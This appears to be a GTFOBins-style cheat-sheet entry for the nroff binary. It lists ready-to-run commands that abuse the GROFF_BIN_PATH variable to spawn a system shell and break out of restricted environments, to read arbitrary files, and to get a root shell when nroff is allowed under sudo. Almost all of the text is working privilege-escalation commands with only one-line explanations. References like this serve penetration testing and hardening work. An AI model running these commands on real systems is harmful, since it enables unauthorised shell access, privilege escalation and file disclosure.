Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
GROFF_BIN_PATH=$TF nroff

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

The file is typeset and some warning messages may appear.

LFILE=file_to_read
nroff $LFILE

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

TF=$(mktemp -d)
echo '#!/bin/sh' > $TF/groff
echo '/bin/sh' >> $TF/groff
chmod +x $TF/groff
sudo GROFF_BIN_PATH=$TF nroff